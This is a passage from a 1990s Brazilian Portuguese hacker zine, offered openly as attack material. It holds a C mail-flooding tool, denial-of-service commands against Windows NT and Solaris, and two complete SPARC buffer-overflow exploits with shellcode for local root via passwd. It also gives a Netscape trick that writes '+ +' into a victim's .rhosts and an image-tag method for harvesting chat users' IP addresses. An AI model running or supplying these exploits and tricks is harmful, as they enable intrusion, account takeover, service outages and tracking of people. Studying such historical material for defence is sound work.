       if (atoi(buf) / 100 != 2)
       fatal("%s", buf);
    }

int  main(int argc, char **argv)                                                                                                            {
   {
     struct sockaddr_in sin;
     struct hostent *hp;
     char   buf[BUFSIZ];
     int    sock;
     FILE   *fp;
     if (argc != 2)
     fatal(sage: %s host", argv[0]);
     if ((hp = gethostbyname(argv[1])) == 0)
     fatal("host %s not found", argv[1]);
     memset((char *) &sin, 0, sizeof(sin));
     sin.sin_family = AF_INET;
     memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
     sin.sin_port = htons(25);
     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
     fatal("socket: %s", strerror(errno));
     if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
     fatal("connect to %s: %s", argv[1], strerror(errno));
     if ((fp = fdopen(sock, "r+")) == 0)
     fatal("fdopen: %s", strerror(errno));
     if (fgets(buf, sizeof(buf), fp) == 0)
     fatal("connection lost");
     chat(fp, "mail from:<me@me>", fp);
     for (;;)
     chat(fp, "rcpt to:<me@%s>", argv[1]);
   }       
[ qmail.c    ]ENDCutHere!


                           ͻ
                               Windows NT    
                           ͼ

 1- Para fazer com que o servico IIS pare de rodar e' so' dar um telnet para
    a porta 80 e digitar "GET ../.." Exemplo digite:

    telnet host.running.nt 80
       e depois:
    GET ../..

 2- Outra maneira de parar o servico IIS e' telnetiando para a porta 1031 e
    digitando um monte de caracteres.

 3- Para consumir 100% do CPU TIME entre na porta 135 e digite um monte de
    caracteres.

 4- Para parar de rodar o servico DNS entre na porta 53 e digite um monte de
    caracteres.

 5- Mandar um "DIR ../.." atraves do Samba.

 6- Ping of Death :
    ping -165527 -s 1 hostname
    A seguinte mensagem de erro aparece:

   STOP: 0X0000001E
   KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS

    ou:

   STOP: 0x0000000A
   IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS


                             ͻ
                                 Solaris    
                             ͼ

 Uma maneira de resetar a maquina localmente e' digitando:

 ping -sv 127.0.0.1 224.0.0.1

 Se voce nao quer que facam isso em seu sistema, digite apenas o seguinte:
 chmod go-x /usr/sbin/ping
 assim somente voce (root) podera executar o ping.


zx
ͻͻͻ
 [6]      Ĵ  =  Passwd,yppasswd,nispasswd =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =TheRevenge=͹ ͼ =
                 ==ͼͼ

 E' um exploit que voce pode pegar o root localmente atraves de um overflow
 que voce pode usar tanto no passwd, no yppasswd ou no nispasswd.
 Abaixo estao dois arquivos .c,  o primeiro e' para Solaris versao 2.4
 e o segundo e' para o Solaris versao 2.5
 Voce pode modificar a stack_offset para (+-256) se tiver algum problema.
 Obs: use apenas se tiver algum problema, exemplo: lemon24 256

[ lemon24.c ]STARTCutHere!

/* Autor: Cristian Schipor */
    
#include <stdio.h>   
#include <stdlib.h>   
#include <sys/types.h>   
#include <unistd.h>   
   
#define BUF_LENGTH      600
#define EXTRA           600
#define STACK_OFFSET    1400
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf ;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
  perror("execl failed");
}

[ lemon24.c ]ENDCutHere!
   

Bem, este e' a mesma coisa, caso tenha algum problema tente usar o argv[1]
para +-500


[ lemon25.c ]STARTCutHere!
   
#include <stdio.h>   
#include <stdlib.h>   
#include <sys/types.h>   
#include <unistd.h>   
   
#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}
   
[ lemon24.c ]ENDCutHere!




ͻͻͻ
 [7]      Ĵ  =    Netscape - XWindows     =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =TheRevenge=͹ ͼ =
                 ==ͼͼ
   
 Ha um grande furo no mecanismo de acesso remoto no Netscape para clientes
 X-WINDOWS. O resultado e' que qualquer um pode se tornar qualquer usuario
 do sistema caso ele esteja  usando o Netscape em um sistema X-WINDOWS sem
 seguranca suficiente.
 Suponhamos que voce tenha uma conta em uma maquina onde os usuarios estao
 usando o Netscape e o usuario nao tenha nenhum .Xauthority.
 Voce pode ganhar acesso a conta desse usuario da seguinte forma.

 Faca um arquivo texto que contenha "+ +" , o arquivo pode ser  uma URL, ou
 o que voce preferir. Voce pode tambem mandar via ftp anonimo.
 Setar a variavel DISPLAY ambiente de EXIBICAO para a exibicao designada
   
 Digite os seguintes comandos:   
   
netscape -noraise -remote "openURL()"   
netscape -noraise -remote "saveAs(.rhosts)"   
netscape -noraise -remote  back   
   
 Especifique no primeiro comando o arquivo que contem "+ +" que voce mandou.
 No segundo espeicifique o dir home do usuario.

ͻͻͻ
 [8]      Ĵ  =         Chat UOL           =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =SOuL HUnTeR=͹ ͼ =
                 ==ͼͼ

 Pegando IPs de pessoas do UOL (CHAT GRAFiCO, que permite imagens)
 Bom... voce precisara de um Servidor Pessoal ou de um IPTRACE.

 Caso vc escolheu por Servidor Pessoal, tenha em mente que ele tera que
 mostrar o IP do usuario que o esta acessando. Recomendo o Sambar Server
 (win95) ou PowerWeb (NT/Os2)

 Estando no chat digite:

 <IMG SRC="http://seu.ip/uma.imagem.do.seu.server.gif">

 e olhe no seu servidor, veja a conexao. e pronto... tera o IP de todos
 da sala.
 Se voce quiser o IP de uma pessoa so, envie a mensagem no reservado.
 Obs. os outros tambem poderao pegar seu IP, isto porque a imagem veio do
 seu servidor...


ͻͻͻ
 [M]                  M A i L   B O X       ͻ            [+]
˼ͼ
                Ĵ     nearz@geocites.com     ͼ 
                        ͼ
                        Aceitamos comentarios criticas
                        elogios (hehe), qualquer coisa
                        que possar  ser  aproveitada :
                              nearz@geocities.com

        ͻ
         From: S.O.J.                                             
        Ĵ
         MSG> Parabens pela primeira e segunda edicoes do ZINE    
         Voces nao deixam nada a desejar aos hackers aqui dos EUA 
        Ĵ
         Reply: HeHe, Valeu pelo elogio!                          
         Valeu tambem pela frase "We must..." (que aparece no     
         comeco da edicao)                                        
        ͼ
                                                                            
        ͻ
         From: jzk                                                
        Ĵ
         MSG> Oi, li seu zine e realmente achei que seu pessoal   
         tem um bom potencial para escreve-lo...Seguinte.. eu     
         estou sendo intermediario entre voces e um grupo         
         brasileiro que esta procurando gente do seu nivel        
         tecnico para escrever e tornar-se membro deles...a razao 
         e' simples.. se voces sabem e eles tambem.. se voces se  
         juntarem podem realmente produzir algo ainda melhor...   
         Gostaria que voces analizassem a possibilidade de        
         passarem pro outro lado, ou seja se juntarem a esse grupo
         que tera uma abrangencia e fama a nivel nacional e mesmo 
         internacional . Obrigado pela atencao         jzk        
        Ĵ
         Reply: Ai cara, nao conseguimos falar com voce, muito    
         menos com eles, voce nao disse nomes, enderecos, nada!   
         Se possivel: Mande outro email explicando melhor...      
        ͼ
                                                                            
                        ͻ
                       ɼ                            Ȼ
                             from  /   falow       
                       Ȼ                            ɼ
                        ͼ
                                                                            
 EmaiL Anonimo                           talkd remote exploit
      Discovered by Soul Hunter               Text by TheGhostObtruder
      Text by Soul Hunter                     talkd.c : Flash Gordon / CiA 
                                              dns_rev.c: Flash Gordon / CiA
 Novell                                  Chat UOL
      Text by Soul Hunter                     Text by Soul Hunter
                                              Discovered by Soul Hunter
 geTz-1.0
      Coded by TheGhostObtruder
      Text by TheGhostObtruder
                                                                            
        ͻ
         Sem dia markado pra proxima edicao (passe pela pagina 
         em torno do dia 30 de janeiro 1998).Estamos esperando 
         seus comentarios..hehe. Nao temos nada definido sobre 
         as materias da proxima edicao, quem viver vera' :)    
        ͼ
                                                                            

 EOF = End of issue 02 #      Near(z)      # End of issue 02 = EOF 

